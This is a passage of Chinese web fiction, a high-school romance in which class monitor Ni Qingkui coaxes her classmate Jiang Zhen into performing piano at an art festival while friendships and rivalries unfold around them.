在突然而诡异的安静里,江轸似乎察觉到许多人的视线正投向自己,笔尖悬置了不足两秒,又重归平静,继续挥洒自如地打着草稿。
“训练右脑。”江轸答。
4. 遗憾04
江轸坐最后一排,没有同桌。
他旁边的空位被倪青葵近水楼台霸占,塞满了东西。
简书颐和倪青葵的座位靠近,是她们早有预谋。比如排队的时候,倪青葵会数好人头和课桌,确保两个人可以同桌或者前后。
江轸就在她的意料之外了。
倪青葵和江轸是初中开始做同学的,初中三年没有分班,中考成绩出色,两人一起进入三中的重点班,自初中起,无论怎么分座排序,江轸的座位都不会离开她方圆五米。
当倪青葵把这个惊人的发现告诉他的时候,江轸会迎合她的诧异而表露一点平静的诧异:那真是太巧了。
班主任李帆是个女老师,教语文。
早读课,她过来拍拍座位上的倪青葵:“艺术节的事,搞了吗?”
倪青葵回神,抬头看她:“哦,我写了个小品,正在加工呢。”
李帆惊诧,拍桌:“艺术节艺术节,你懂什么叫艺术吗?小品是艺术吗?!”
小品是艺术吗?
小品是艺术吗……?
好问题。
倪青葵拱了一下旁边的徐宛遥,飞快地问一句:“小品是艺术吗?查一下。”
“……”
李帆咬牙切齿地微笑,拍拍她的肩:“还是留着春晚演吧,老师相信你的能力,肯定比机器人发挥得好。”
她皮笑肉不笑地讲完,大喊一声:“艺术!”
一整个早读,倪青葵都在琢磨这个事,到后来都快不认识“艺术”俩字了。
课间,趁着简书颐不在,周绥喊前面女生:“倪青葵。”
“什么事。”她回头。
“今天启奏没?我要换座位。”周绥每天上学第一件事就是上表朝廷。
“李老师说得很清楚了啊,你这种不良分子,能荣获此等学神同桌,还是好好烧高香吧。”
倪青葵面露微笑,用劝他立地成佛的语气说:“驳回奏折,好好读书。”
周绥白了她一眼:“狼狈为奸。”
简书颐拿着水杯过来,俯视他:“嘀咕什么?”
“没说你。”
“让我进去。”她座位靠墙。
周绥可算找到机会了似的,故意往后边的桌沿靠,手里还拿着笔在悠闲地转,懒散的姿态透露出富家子弟调戏民女的嚣张:“爬进来。”
简书颐没再啰嗦,猛地给他背上来了一巴掌,“砰”的一声,周绥撞到桌前,一下子差点给他震得内伤吐血。
她从容地跨进去。
险被误伤的江轸静静地往后拉桌子,给他们留出站场。
周绥的刁难失效则代表着,等到不久以后座位换到另一边,他靠墙时,会死得很惨。
加急密函被扔到倪青葵桌上。
【你再去跟李老师说说】
倪青葵下课真被召到办公室了。
还是为了艺术。
李帆语重心长跟她说:“这是市里中学合办的演出,咱们出一个这种水平的表演,这不出洋相嘛,能不能来点高雅的。”
“高雅的,唱歌行吗?”
“谁会唱歌。”
倪青葵笑说:“唱歌不简单?我就会唱啊。”
李帆一挥手:“你唱,现在就唱。”
“我……在这不好吧?”
她左右看看,课间的大办公室,五个老师十个学生。
“到时候观众更多——”
李帆话音未落,倪青葵就真的突然高声唱起:“对所有的烦恼说ByeBye,对所有的快乐说HiHi,亲爱的亲爱的生日快乐,每一天都精彩!”
死气沉沉的办公室被少女的歌声点燃,所有人看着她,有人在笑,有人鼓掌。
倪青葵捏着不存在的裙摆,左右鞠躬:“谢谢大家谢谢大家,我会继续努力的。”
李帆:“停!”
“……”
她收了笑,回头看老师。
李帆抽了一张纸给她,“你看看这个。”
倪青葵接过。
扫了一眼,是一张报名登记表。
上面黑体字写着:校际融合艺术节展演活动报名表。
“展演形式,现场竞技,主会场,江音附中,演出类别:西洋乐器。”倪青葵懂了,“乐器比赛?”
“嗯,”李帆说,“我也是刚收到具体的通知。”
倪青葵想了想:“限定西洋乐的话,那我们班会的人可能就更少了。而且有竞技性质的话,大家大概率不愿意付出时间。”
李帆忽然说:“你不是就会拉小提琴吗?”
倪青葵愣住,刚才还朝气蓬勃的笑脸荡然无存,沉默很久,她说:“我琴都卖了。”
“学校琴房就有。”
“好几年没碰了。”
李帆问她:“这么为难?”
倪青葵不说话。
“一点都不想上?”
倪青葵依然不说话。
各自安静一阵,李帆说:“要不你再考虑考虑?刚刚年级主任跟我说,希望你出个节目。”
倪青葵:“对了,我记得程昱齐会吹萨克斯,我去问问他。”
“……”
这回换李帆不说话了。
过了会儿,她没再提这事了,低声问倪青葵:“你咋知道我今天生日。”
倪青葵脸上恢复笑意:“q.q资料上写啦。”
李帆表情里的高兴藏不住了,但故意露出嫌弃表情:“去!”
“好嘞,我再想想办法!”
预备铃一响,倪青葵飞奔出去。
几秒后,倪青葵飞奔回来:“对了对了,周绥说要换座位。”
李帆下巴一偏:“当他放屁。”
“ok。”
倪青葵飞奔出去。
-
为了这件事,倪青葵去问了会吹萨克斯的程昱齐,那会儿男生正吊儿郎当地翘着腿打游戏,连跟她对话都觉得烦似的,很快就明确表示自己懒得表演节目。
最后以一句“烦不烦别问了,哪有空搞这个”收尾。
进入青春期后,倪青葵深深发现,男生的难管程度比女生大了一百倍,一千倍。他们在最需要彰显个性的年纪,各显神通地展现着“装”。不服从管教、特立独行,就是“装”的必要条件。
不听使唤是初级症状,满嘴脏话、烟不离手、翻墙逃课是进阶模式,要是能跟老师斗几句嘴甚至起冲突,被兄弟们喊“x哥真帅!”,那就会一跃成为男子气概的领头羊。
别说倪青葵一个同龄女生,就连李帆都不想跟这帮人交流。
一遍不理,她就不想再问了。
放学后,倪青葵出去一趟,再回到座位,发现热好的中药在自己的保温杯里。
她立刻回头,江轸不在。
简书颐还在做题,知道倪青葵在惊讶什么,悠悠一声:“有夫如此,妻复何求。”
“……”
倪青葵:“我书包你翻的?”
经她提醒,简书颐莫名觉得占了一点友情上的上风,语气不无骄傲:“当然,他又没这权利。”
倪青葵捏着鼻子把药喝了,又往嘴里塞了三颗奶糖,随后拿出手机给江轸发了消息:回家了吗?有事找你。
五分钟后,江轸回:泳池。
倪青葵:我马上过去,你等我。
她收拾了书包,拉上简书颐:“走。”
放了学,天已经黑透了。
倪青葵独自上了体育馆三楼,泳池里氯.气的味道扑面而来。
场内很暖。
工作日不对外开放,所以基本没什么人。
一共两个泳池,西边的有体育生在训练。
东边的泳池被江轸一人占据。
入口正在两池中间,倪青葵站在那里,围观片刻后发现,比起那些体育生,无论是力量、速度,或是姿势,江轸甚至做得更为漂亮标准。
看他游泳也挺赏心悦目的。
一分钟后,江轸上岸,浑身湿透。
倪青葵手背在身后,远远走去,笑着说:“败北了啊江轸,又没考过简书颐,哪道题没做出来?”
他在折叠椅边停下脚步,余光等人靠近同时,慢条斯理地摘下价值不菲的手环和骨传导耳机。
“她想当第一就给她。”
倪青葵愣了下,然后弯唇笑了,她其实特别懂为什么简书颐讨厌江轸,真的。
她煞有其事地点头:“学到了,下次考不过别人就这么说。”
江轸不以为意,他拿起凳子上的浴巾,但没有及时擦,只是看着她,任由大量的水从身上色气地流下来。
“什么事?”他问。
江轸比她高了很多,于是当他站在她面前,倪青葵的视野就被一个人的身量全盘挡住。
馆内不正常的暖热氛围像烘烤着室内的人,男生线条流畅漂亮的肩背近在咫尺,那些攒聚在身上的水滴从急到缓顺着胸膛淌下,让她不自控地去看向某一根筋脉,正在恰到好处,像在对水流做牵引作用。
再往下,就是她瞄都不敢瞄的部分了。
倪青葵撇开目光,友情提醒:“你要不要先把衣服穿上?”
游泳馆是落地玻璃,江轸站在那里,他只需要微微垂眸,就看到楼下冷风里跟她同行的女生。
江轸并未认同:“冲个澡出来起码二十分钟,你等不等。”
二十分钟有点太漫长,倪青葵侧目远眺在等她的简书颐,只能跟他“赤诚”交流了:“那我长话短说吧,今天李老师找我——”
江轸盯着她,眼眸深邃,忽然打断道:“靠近一点。”
倪青葵没反应过来:“嗯?”
他说:“我看不清你。”
倪青葵不近视,但心下纳闷,100度近视有这么夸张?能见度不足一米?
急着说事,她还是往前走了两步。
一靠近,倪青葵更有些重心不稳了。
男生的胸肌和他身上没擦的水已经近得不能再近,导致她鼻息屏住。
见她不说话,神色憋闷,江轸问:“怎么了?”
他面露只读圣贤书时的澄澈目光,不觉有异。
倪青葵讪笑,不吝称赞:“穿上衣服高高瘦瘦的,看不出来啊,身材挺好。”
他不动声色,擦了下腹肌上的水:“没什么特别的。”
倪青葵低语:“不知道啊,也没见过别人的。”
江轸静静地欣赏了一番她通红的耳朵和脸颊。
然后他出声:“你接着说。”
“哦,是这样,李老师说有个联合艺术节,你看看能不能出个节目。”
江轸感到意外:“你觉得我可以表演什么?”
“去表演……左手写个作文?”
“这是保留节目,一般不示众。”
倪青葵被他逗乐了,叉着腰笑了一会儿:“认真说,你可以去弹个钢琴,对你来说不难吧。”
江轸答:“太久不练了,水平有限。”
“不管水平如何,你往那一站就已经很有魅力了,观众们一定会宽宏大量。”
闻言,江轸稍微沉默,随后他弯下腰:“你说什么?”
“我说——!你太有魅力了,太帅了!观众一定会宽宏大量!”
倪青葵说完,又好心劝他:“耳朵进水了吧,下次记得戴耳塞。”
他好整以暇地一点头,表示听清了。
说回正事,江轸又提醒道:“市里合办的艺术节,比赛的主舞台在江音附中,陈思尧和杜若大概率也在,他们想看的应该不是我。”
听到小学同学的名字,倪青葵怔在那里。
她没问江轸为什么思维如此发散,怎么会想到这些?过了好一会儿,才接话:“他们想看我,我就要上场吗?”
“活动的主办方,江音附中的校委员会里有杜若的爸爸,没猜错的话,你应该被点名了。”
江轸看着她,在她错愕的眼神里继续说下去:“李老师找到你,让你拉琴,你婉拒了,又想尽快把这个事糊弄过去,班里问了一圈,没人愿意上,最后想起了我。”
倪青葵窘住。
第一反应,他怎么这么料事如神啊?
不过转念一想,这也是可以推算出来的,只不过她没有想得那么深。
倪青葵低了头,像是喃喃自语,也像是在问他:“她还是那么讨厌我吗?”
思考过后,江轸给出了回答:“她不讨厌你,你应该知道她的诉求是什么。”
倪青葵:“我怎么会知道,她想要的明明都得到了。”
他问:“那你想要的呢?”
倪青葵心下一惊,抬眸对上他探究的深深目色,微微抿
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唇,许久才答:“我也很满意现状啊。”
江轸没有发表意见。
倪青葵不想这些事了,对他说:“总之你先回去练练琴吧,弹得烂不烂再说,别浪费你值得出镜的盛世美颜,没准大家就喜欢呢。”
命令式的语气令他不解,江轸说:“我答应你了吗?”
“……”
倪青葵没料到他口中会蹦出这样冰冷的话。
她眨眨眼想,别的男生她不好搞定,但是江轸可以。
他心软,她确定。
而且,她嘴甜,这是一个很大的优势。
如果他此刻穿件衣服,她大可以拽着他的校服下摆或者书包带,卖笑求荣地说一句:因为我知道你一定会有办法帮我啊。
可是现在呢?
一.丝不挂的。
她总不能扑到他胸肌上吧?
倪青葵双手交握,举在身前,竭力赔笑说:“拜托你啦,帮帮我好不,我请你吃饭。”
江轸低头,擦完身子,又用纸巾不紧不慢地擦拭着骨传导耳机:“去吃你喜欢的垃圾食品吗?”
“……”
“我帮你做作业!”
“100分做到40分吗?”
“……”
倪青葵要抢他手里的东西:“我帮你擦!”
江轸看她,语气淡淡:“松手。”
倪青葵继续十指合拢,笑得谄媚:“哎呀,帮帮我吧,我的好战友。”
江轸不语,继续平静地擦拭着他的宝贝耳机。
倪青葵也不说话了。
安静了片刻,她突然往前走了一步。
这一步让他们本就贴近的距离又被缩短。
由于不知道她要做什么,江轸也分寸稍乱,下意识地往后退一步。
倪青葵脸上带着狡黠的笑,又往前逼近一步。
不能再退了,后面是墙。
“男神……”
倪青葵踮起脚,仰起脸凑近,目光坦荡,又露出点迷妹般的笑意,直勾勾地盯着他:“不戴眼镜怎么这么帅。”
她说完,觉得这话有歧义,立即改口,笑说:“当然当然当然,戴眼镜也很帅,不一样的帅!”
江轸微微皱眉。
她的鼻息就在与自己的锁骨相当的高度,这很糟糕。
因为他感受到她的呼吸,正慢慢地在自己的皮肤上散开。
倪青葵的眼睛很大很漂亮,黑眼仁多,也是让她看起来甜美靓丽的重要武器。这样一双眼睛正变成星星眼的状态,无限崇拜地盯着他。
“男神,身材这么好别藏着掖着,下次脱光了执勤吧。”
“男神,脱光了跑操也行啊,独乐乐不如众乐乐。”
明亮灿烂的双眸变得楚楚可怜时,就会泛起一点水光,眉心拧成一个担忧的八字:“哎呀不行,天气太冷了冻感冒了怎么办呀?他们饱完眼福就走了,不像我,只会心疼哥哥~~”
“……”
他几乎能看到,她这副我见犹怜的表情里飞出了一个邪笑的小恶魔。
有人游刃有余。
有人乱拳打死老师傅。
看出江轸的脸色变了,发觉这招奏效,倪青葵温柔甜美的声音越来越嗲,嗓子都快冒烟了。
“小江小江。”
“钢琴王子。”
“江轸哥哥。”
“哥哥哥哥。”
“宠宠我吧。”
江轸觉得喉咙要烧起来了。
他漆黑的眼瞳深处,像有深夜的海浪在翻滚。
江轸再出声,音色已经十分低沉沙哑,甚至能让人听出一点咬紧牙关的力度。
“倪青葵。”
“在呢。”她继续楚楚可怜。
“太近了。”
倪青葵丝毫不退,吐字抑扬顿挫,激情饱满:“近也有近的好,可以让你感受到我诚挚火热的心。”
“……”
她火不火热他不知道。
江轸现在很火热。
这么近的距离让江轸有一点后悔逗她,眼下颇有玩火自焚的危机感。
他怕再拉锯下去,会发生危险的事情。
如果他现在穿的是校裤的话,危险系数会大幅度减少。
但他穿的是泳裤。
眼看难题就要攻克下来,她继续打感情牌:“说真的,虽然每次遇到棘手的事情都会找你帮我摆平,但我不是存心拿你当工具人。因为我们是很好的朋友,而且你又很厉害……”
江轸沉声打断,又喊她一遍:“倪青葵。”
“在呢在呢在呢。”她响亮回答。
他闭上眼,试图让风起云涌的深海平息。
“离我远点,我答应你。”
倪青葵心中一喜,眉目舒展开,转头就跑。
听着脚步声远去,江轸慢慢睁眼,渐渐放下收紧的眉心和腰腹。
跑到二十米开外,女孩回过头,笑颜灿烂地冲他说:“谢谢男神!”
她倒退着走,食指和拇指张开,做了个柯南的手势,远远地指向他说:“明天就这样出现在校门口吧!你会迷倒万千少女的!”
“拜拜!!”
“……”
江轸是绝不会出岔子的,倪青葵对他解决问题的能力十分自信。
处理好一个麻烦,倪青葵跑下楼的脚步都变得雀跃十足。
简书颐看她过来,正要开口,又觉得不对劲:“你脸怎么这么红?”
倪青葵摸脸,皮肤表层果然烫得不自然:“里面暖气太足,我快被蒸熟了。”
简书颐心说,不是有人在你面前发骚就好。
“解决了吗?”
倪青葵欣然点头,“势在必得。”
简书颐:“又交给你男神了?”
倪青葵举起双手打断:“waitwaitwait,请你解释一下这个‘又’。”
“居然不是解释‘男神’?”简书颐上下扫她,“倪青葵,你太让我失望了。”
倪青葵没再回答,像是没听见,很难得地沉默下来,摸着下巴,脚步不自知地变急了很多,走到前面去,根本没发现把身后人甩出去好半截,过了半天,才憋出一句不明就里的话:“你有没有觉得,我们都长大了。”
简书颐大惊失色。
她确定,有人在她的面前发骚了。
5. 遗憾05
倪青葵对李帆撒谎了,她的琴没卖。
妈妈替她收了起来,具体收到哪里,倪青葵不知道,也没有过问。
没想到这个问题第二天就有了答案。
这个周六,倪青葵家里很热闹。
二十年前,倪月岚开始北漂,跟在一个大老板手底下,东奔西跑的拥有了一些人脉,又去江浙混了几年,着手自己的“商业帝国”。早期她什么生意都做,真正赚钱是从卖五金开始的,有了点小钱之后就启动各种投资,现在又做了点服装生意,开设自己的小品牌,在江城拥有好几个门店,最近在一个商场又新开张了一个店,为了庆祝开业,倪月岚在家里摆了个席。
参与的人不多,倪青葵和父母,加上简书颐和她妈妈钱玉玲。
席也不太正式,就自己在家做了点菜。
这顿饭的意图是倪月岚想叫钱玉玲辞了厨子的工作,在自己手底下干几年。
钱玉玲为人老实质朴,丈夫辞世近十年来,母女俩的生活一直很拮据。
倪月岚跟她提了好几次,也是想带带她家的经济状况,奈何钱玉玲不为所动,理由总是那句:我不是做生意的料,你叫我去卖衣服,我也不会干销售啊,帮不上你什么忙。
那天,大人们在厨房里忙活的时候,倪青葵在客厅看《武林外传》。
简书颐坐在她旁边看笔记,电视里嬉笑怒骂的声音丝毫影响不到她,戴上眼镜,永远气定神闲。
傍晚时分,有人敲门。
倪青葵去开,裴雪旗站在门口。
他手里拎了一个琴盒。
简书颐把眼镜推到底,看向门缝。
“小葵。”男生嗓音清清,没有温度。
倪青葵礼貌回应:“哥哥好。”
简书颐竖起耳朵,提高警惕。
“书柜里看到的,这是你的东西吧?”裴雪旗把琴盒递过去,“看起来很贵重,还是你自己保管。”
“哦!”倪青葵赶忙接过,“不好意思,我放在那里很久了,房子一直没租出去,都快忘记这事了。”
——其实她根本不知道,因为是她妈放的。
裴雪旗看起来并不需要她的理由,也并不介意。
他只是点着头说:“小提琴吗?”
倪青葵看着琴,走着神,轻轻应声:“嗯,小时候学的。”
见她神思有变,裴雪旗没有再问什么,跟她道别。
他一贯十分清冷的样子,会让倪青葵联想到江轸。
但他们不一样。
江轸的眼睛里总是藏着深藏不露的想法,或跟学习有关,太满了。
但裴雪旗的淡然是虚无缥缈的,太空了。
倪青葵拎着琴盒走回来。
简书颐低下头。
其实简书颐昨天回来就见过裴雪旗了,是挺帅的,但不会为之流一地口水,而且她觉得:“空心的,远远地当朵高岭之花欣赏就好了,靠近你就会发现,这种人根本没有感情——可能父母关系不太和谐?”
简书颐察言观色的水平一流,只不过一眼她就能分析得头头是道,且她看人很准,倪青葵一向钦佩她这样的能力,提到“高岭之花”,她便好奇问:“那你觉得,江轸是实心的吗?”
“他是骚货。”
“方立函呢?”
“他是伪人。”
“周绥呢。”
“他是脑残。”
“那我呢?”
“你缺心眼。”
“……你的眼里有没有一个正常的好人?”
“简书颐。”
“你毒舌!”
“一个毒舌的正常好人。”
倪青葵气得把她撂倒在沙发上,简书颐笑着大喊:“阿姨!救我!”
从厨房出来的倪月岚把两人拽起来,“行了别闹了。”
顺便问了句:“谁敲门刚刚。”
倪青葵指了指楼上,“研究生,来还这个。”
她又点了下放在一旁的琴盒。
“哦,随手放的。”倪月岚伸手要接,“我给你收起来。”
她护了一下差点被妈妈拿走的琴盒:“可别,一会儿随手给我收进垃圾堆了。”
倪月岚看着她偏过头气鼓鼓的样子,无奈笑了一下:“别抱着,都是灰。”
简书颐屈着膝盖坐在沙发上,笔帽点点她手里的笔记本,冷不丁地说了句:“说真的,你别跟这个裴雪旗走太近。”
“理由?”
“不像好人。”
简书颐心虚地说完,又不自然地看了她一眼。
还好倪青葵心里不揣事,不会乱猜。她只会歪着脑袋纳闷地看着她,“不至于吧,你别把人想得太坏了。”
“随便说说。”简书颐也觉得不太好。
倪青葵看向她手里:“这你的本子吗?怎么不像你的字。”
“江思淼的。”
倪青葵惊讶不已:“江思淼的笔记?!”
江思淼是江轸的一个堂姐,去年的高考状元,成绩轰动全国的顶级考神。
她问:“你跟江轸要了?”
简书颐冷冷瞥她:“你觉得我会跟他提吗?”
也是。
倪青葵想,简书颐这么傲娇的人,就算对考神的笔记垂涎三尺,她也不可能到她的竞争对手面前,赔笑说:给我看看呗。
她顶多会怂恿倪青葵去赔笑。
但简书颐也没来跟她要啊。
难道是江轸主动给她了?
这两个人,成天因为“倪青葵的最佳好友”之位而争风吃醋,关系一度降到冰点。
江轸又干嘛突然向简书颐投诚?
聪明的灵光一闪而过,倪青葵问她:“你跟他交换什么条件了?”
简书颐怔了怔。
倪青葵继续凑近,智商骤升,露出FBI警探破案脸,紧紧盯她:“或者说,你给他什么好处了?”
简书颐摸了下鼻子:“那天不是他给你热中药吗,让我帮他拿来着。”
“哈,逼我喝个中药这么大动干戈,我都要怀疑我爸是不是找他当线人了。”
倪青葵露出一副真没意思的表情。
听到“线人”二字,简书颐身上都有点冒冷汗了。
她岔开话题说:“诶,你赶紧把琴收起来吧,然后把裴雪旗从你脑袋里丢出去。”
倪青葵拎着琴盒进房间了,闻言,从门板后面探出脑袋,“拜托,这话怎么这么诡异,我对他又没兴趣。”
“再好不过。”
简书颐放下笔记,去厨房倒水时,隔着拉门,听见里面大人的交谈声。
可能小提琴的归还引起了话题。
简书颐听见钱玉玲问:“那她现在坚决不拉琴了?”
倪月岚说:“就六年级,考江音附中那次,没发挥好,没考上,索性就不学了,专攻文化课。”
“太可惜了小葵,那么有天赋,怎么就不接着学了呢。”
“不可惜,走什么路都不可惜。”倪月岚择着菜,笑笑说,“孩子健康成长最重要。”
“嗯,她成绩也好,做什么都顶尖。”
油烟机的声音轰隆响起。
简书颐进了厨房,轻声喊:“妈。”
两人回头,简书颐把钱玉玲拉到一旁,说:“小葵的事你不是问过好几遍了,怎么又提?”
“我随便聊聊。”
简书颐皱眉:“不要再说了,她听到会伤心的。”
“哦,不说了不说了,”钱玉玲讪笑,“肯定不说了。”
“还有,”简书颐瞥了一眼正在炒菜的倪月岚,声音更低一点,“倪阿姨让你去店里帮忙,你就去,为什么这么轴呢?”
“妈现在在食堂上班挺好的……”
简书颐放开妈妈,眉心却没有松开,她转身离开:“我不想听你说这些。”
钱玉玲甩甩手上的水,望着女儿的背影,露
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出一点干干的笑。
-
夜里,倪青葵躺进被窝,想起班级任务,给江轸发了消息:练琴了吗帅哥?
江轸:你要听什么。
倪青葵:我点什么你弹什么?
江轸:我试试。
倪青葵:升c小调夜曲,可以吗?
江轸:可以。
倪青葵:太炫技了,简单点吧,圣诞快乐怎么样。
江轸:可以。
倪青葵:不行这太伤感了,我给你找个欢脱的。
江轸:可以。
倪青葵笑了:我还没找呢,有没有什么不可以?
江轸:都可以。
倪青葵:噢耶,又被宠了~还有半个月,你每天练一小时,就可以重回钢琴小王子的巅峰。
江轸:下课琴房等你。
倪青葵:什么意思?!我也得去?
江轸:什么意思?我一个人?
倪青葵:放心,不管你出现在哪里都会很热闹,你绝非一个人。
江轸:别人不重要,我只要你陪我。
看着这几个字,倪青葵面露惊恐。
他是不是被盗号了?!
她真的很难想象他那张只会“嗯啊哦”的嘴巴和机器人一样毫无起伏的嗓音,能说出如此让人肾上腺素飙升的话。
好暧昧……
江轸你、你、你不会……
我跟你称兄道妹,你却……
倪青葵红了红脸,小心脏扑通扑通的。
她颤巍巍地打字:why?
江轸:因为只有你会心疼哥哥。
“……”
倪青葵倒地。
她那天到底是讲了多少羞耻的话?
倪青葵觉得自己又要发烧了,过了会儿,拍拍脸坐起来。
心底横生一股硬气。
难不成,她就要活在他颐指气使的脸色中,极尽谄媚地度过这一个月吗?!
她倪青葵绝非这样阿谀奉承、谄上骄下的人!
绝不!!
倪青葵飞快打字:算了你别练了,我去找方立函。
江轸:他会什么?
倪青葵继续飞快打字:不知道,我就是叫他上去舞个狮,他也得练出来给我交差。
江轸:理论上来讲,行不通。
倪青葵:我管呢,反正他不会拒绝我。
这句话是骗他的,方立函未必会对她言听计从。
这是倪青葵的保留招数。
男生们虽然懒懒散散的很难约束,但想要拿捏他们也不是特别难。
天底下就没有男人没有胜负欲。
就比如,你要是对他说:帮我个忙吧?
他不乐意。
那你就接着说:知道了,你不行。
他会立马跳起来掀桌子:谁说的!
这时候要是再出现另一个男性的名字:本来就是啊,xx可比你厉害多了。
那么,接下来就是雄性力量大爆发的展示舞台了。
然而,她等了好一会儿,江轸没有爆发。
过了很久,他才发来一句:可是我也不会拒绝你。
出其不意的回答。
符合他淡定的口吻。
但好像又没那么淡定。
有点委屈?
倪青葵确认,这一招比她还高明。
具体高明在哪里,她说不清。
但她确实,有那么一点点心软下来。
诚然,江轸才是那个不会拒绝她的人。
倪青葵笑着回:江轸,你这样好像小狗啊。
还是淋了雨的那种,湿漉漉的。
江轸:我只养了一个小狗。
倪青葵脸上是真有点红了,但不是心潮澎湃的那种红,因为心底软软的,也像被雨水浸湿。
这算不算是小狗在要偏爱了?
倪青葵微笑着,打了一行字:好好表现,乖。
6. 遗憾06
工作日早晨,倪青葵还没睡醒,一到校门口就被李帆喊住:“倪青葵,艺术节的事情准备得怎么样了?”
倪青葵哈欠还没打完,闭着眼睛,张着嘴巴,“呜呜啊啊哇哇哇……”
李帆皱眉:“??你说啥?”
哈欠落下,倪青葵面带笑容,扶着班主任的肩膀,字正腔圆道:“我说,我交给江轸了,您去找他洽谈艺术吧。他这人浑身上下透露着高雅,高是高冷的高,雅是优雅的雅,一定比我懂得多。”
虽然在笑,但她嘴角勾出的是“放过我吧”的生无可恋。
李帆若有所思地哦了一声:“对了,今天校领导来检查,你课前检查一下包干区的卫生,我就不过去了。”
“这个简单!”
于是,接下来五分钟内,倪青葵提着工具找了一圈值日生。
但是当她飞奔了五分钟还不见人影的时候,这事儿就不简单了。恼怒之际,她远远地看到教学楼后面草坪小道,蹲在地上的男生身影。
“水立方!”
倪青葵从墙角窜出来,响亮的嗓音惊得小动物的身影速速窜逃。
“喂,”少年起身,无奈地把手一摊,半截小鱼干还在手心,“你把小猫吓跑了。”
扫了一眼小狸花,倪青葵抬抬下巴:“我还以为你躲这儿抽烟呢。”
她叉着腰,气势汹汹地露出班长架势,“干坏事别被我抓到啊,秉公处理。”
方立函把手里东西丢了,拍了拍手心,看着她笑,“你们班干部就这样诬赖好学生,来壮大自己虚假的丰功伟绩?小心我揭发你。”
“揭发你个头,”倪青葵把笤帚扔过去,“把叶子扫了,上午有公开课,去会议室搬六个凳子过来。”
“全我搬?”
“不情愿啊。”
“愿意,愿意死了。”
他声音怠惰,就差把“我是被逼的”写在脸上。
她笑起来,认真说:“谢谢啦,下次犒劳你。”
“使不得,革命一块砖,我听候差遣就行了,谈什么犒劳。”
方立函接了任务,拎着笤帚走了。
倪青葵远远地望着他的背影微笑。
说实话,她还是很感谢方立函的。
班里本来没有副班长这个职务,但是李帆有点嫌方立函平时过于懒散了,就给他安了个头衔,说好听叫副班长,说通俗点,就是倪青葵的小跟班。
当初办公室里,李帆跟倪青葵叹着解释,“这孩子比较特殊,我得在他身上多长双眼睛,找点活给他干干,省得他——”
倪青葵准备听八卦的耳朵已经壮大成如来佛,李帆吐了口茶叶沫子。
神神鬼鬼的,又不说了。
“你明白吧?”还要问她。
“好好好,省得省得省得。”倪青葵跟她眼神交汇,露出誓死为组织守秘之色,“我明白。”
啥也没明白。
不知道这个学生特殊在哪里,倪青葵只不过从他的行头看出,方立函家境很殷实,成绩上游,他本人个性挺开朗的,也有涵养,不会惹事,看起来不像会成为失足少年。
在倪青葵眼里,他就是一个没什么欲望和追求、在混日子的、好人。
当班长的活儿太多了,关键倪青葵还是尖子生,学习这块不能掉链子,所以手头上忙不过来的时候就会找他分摊。
倪青葵多了个小跟班这事皆大欢喜,老师分配工作到位,倪青葵负担减少,闲散公子哥有事儿干了。
只有某位江姓男同学感到危机四伏。
方立函前脚提着早餐进了教室,江轸恰好跟在后面。
倪青葵正在第一组发卷子。
方立函伸手,准备去碰一下倪青葵的胳膊,可能是要跟她说话,或者把手里东西给她:“倪——”
江轸款步,正好经过,手臂轻轻一挥,用手背挡了下对方探过来的手腕。
塑料袋里的白煮蛋以抛物线状态飞了出去,最后“啪”的一声,掉在讲台上。
目瞪口呆过后,方立函差点咬碎牙:“我鸡蛋!”
“替你剥壳。”
江轸淡淡,头也不回。
手腕相碰的撞击声不算小,惹得倪青葵回头去看。
江轸往前走,高大身姿碰巧挡住她看向方立函的视线。
“什么声音?”硝烟之外的女孩子看着他问。
江轸睨一眼脚边,从容蹲下,捡起从她校服口袋里滑落的耳机仓。
他风平浪静:“东西掉了。”
倪青葵不疑有他,接过:“哦,谢谢。”
-
放学,江轸去练琴。
倪青葵打算留堂把作业做一部分,就没急着走。
晚修课前,她正拿着徐宛遥的抽象派小说在品读,正要回头和简书颐说话的时候,几个男生闹哄哄地打完球从后门进来了。
她刚一回眸,对上方立函的眼睛。
他走在靠后的位置,没有混入那些嘈杂之中。一进后门,方立函就投来没什么表情的一眼,看到倪青葵,又温温淡淡地收回视线。
倪青葵若有所思。
说他漫不经心吧?好像也有那么点针对性。
说他有什么企图吧?是被她的眼神吸引过来也不一定。
倪青葵揣摩了一下,如梦初醒般懂了点什么,她用本子挡住半边脸,转向身后的简书颐,小声问:“你觉得,方立函这个人怎么样啊?”
简书颐在做英语阅读,没注意后面的吵闹:“外热内冷,孤独忧郁,假得要死。”
“他忧郁?那我就是林黛玉喽?”倪青葵不敢相信自己的耳朵,“而且他朋友遍地都是,哪里孤独了?”
“你懂不懂外热内冷这几个字怎么写?”
“那你说说看,为什么会这样?”
“你是十万个为什么吗?我又不是人类学研究专家。”
“简书颐,你就会凶我!”
简书颐的笔停住了,抬头的时候,倪青葵嘴巴撇着,眉毛揪着,白净甜美的一张脸上全是扭曲的五官。
手背叉腰,要道歉!
嗯,真可爱。
怪不得全世界都喜欢她。
她也喜欢。
简书颐双手伸出,搓了搓她的脸,“不,我还会哄你。”
倪青葵再往那边瞄,就见到方立函刚回到座位,旁边就围了一圈人。
“上次讲到哪了?”
他把凳子往前一拽,抽出历史书随手摊开,“朱重八,接着说他。”
“好!”
说书先生开张,身侧竟有掌声浮动。
倪青葵立刻兴致勃勃地过去:“在讲什么?我也要听我也要听。”
徐宛遥喊住她,委委屈屈的:“倪青葵!你还没看完呢!”
“哦哦,看的看的,等我回到家写完作业,沐浴更衣,涂上身体乳,打开台灯最亮一挡,坐在床头细细品读。”
倪青葵竖起大拇指,笑着朝她wink了一下。
徐宛遥舒服了,回了她一个手指比心:“好叭,爱你。”
倪青葵坐到方立函前桌,饶有兴趣地跟其他同学一起听他讲野史。
咔嚓——
简书颐按下快门,把照片发出去:情报服务,这是额外附赠内容。
她没等到回复消息。
但五秒后,倪青葵的手机震了。
江轸:胃疼。
倪青葵:你在琴房?
江轸:嗯。
倪青葵:没吃晚饭吗?
江轸:胃病,练不动了。
他有胃病?
他有胃病???
虽然不知道江轸什么时候得了胃病,但这下子倪青葵真有点过意不去了。
说起来这节目也算代表班级荣誉,但江轸这样的大佛,不是倪青葵还真没人请得动。
倪青葵愧疚地想,他也算是为了她才去练琴。
野史一个字都听不进去了,倪青葵正在打字,准备回复他。
江轸显得有些着急的消息又发过来了:要晕倒了。
这么疼?!
倪青葵:别晕,我来救你了!
她一边往外走,一边紧急地搜了一下附近有没有药店,导航显示,最远的也有三公里呢,倪青葵又回到班上,没怎么抱希望地问了一句:“你们谁有胃药吗?”
方立函往门口看了眼:“我有。”
